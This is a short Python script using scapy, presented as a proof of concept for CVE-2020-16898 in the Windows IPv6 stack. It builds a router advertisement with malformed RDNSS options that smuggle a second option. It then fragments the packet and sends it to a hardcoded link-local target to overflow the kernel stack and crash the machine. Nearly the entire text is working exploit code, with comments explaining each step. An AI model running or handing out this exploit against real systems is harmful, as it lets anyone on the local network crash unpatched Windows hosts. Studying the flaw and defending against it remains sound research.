# CVE-2020-16898 PoC BSOD
# written by @0xeb_bp


from scapy.all import *

# target  IPv6
dst = 'fe80::999:728b:7c99:4c97'

# ensure hop limit is 255, there is check in start which
# returns early if not 255
hdr = IPv6(dst = dst, hlim = 255)

# router advertisement
ra = ICMPv6ND_RA() 

# smuggle two packets, the first to set appropriate len to get out 
# of the first loop around NetioPhParseIpv6TlvNdOption

# type 19
opt  = '19'
# length, this would change depending upon overwrite length
opt += '26'
# whatever
opt += ':4242:4242:4242'

# the first 01 is actually used could make this cleaner by moving the net buffer forward
# does not seem to matter though
smuggled = '0102:0304:0506:0708:' + opt

# rdns packet 1
rdns = ICMPv6NDOptRDNSS(dns=['5a5a:5a5a:5a5a:5a5a:5a5a:5a5a:5a5a:5a5a', 
    smuggled])

# https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor/
rdns.len = 4

# smuggled packet 2 where overwrite happens
# when this packet is parsed we are in second loop around NetioPhParseIpv6TlvNdOption

# type 18 which paths to a NdisGetDataBuffer which causes the stack overflow
smuggled  = '18'
smuggled += '22'
smuggled += ':5a5a:5a5a:5a5a:5a5a:5a5a:5a5a:5a5a'

rdns_2 = ICMPv6NDOptRDNSS(dns=['5a5a:5a5a:5a5a:5a5a:5a5a:5a5a:5a5a:5a5a', 
    smuggled])

rdns_2.len = 4

overwrite = '\x43'*256

# fragment to trigger copy to stack from NdisGetDataBuffer
f_hdr = IPv6ExtHdrFragment()

p = hdr/f_hdr/ra/rdns/rdns_2/overwrite

fragments = fragment6(p, 100)

for frag in fragments:
    send(frag)
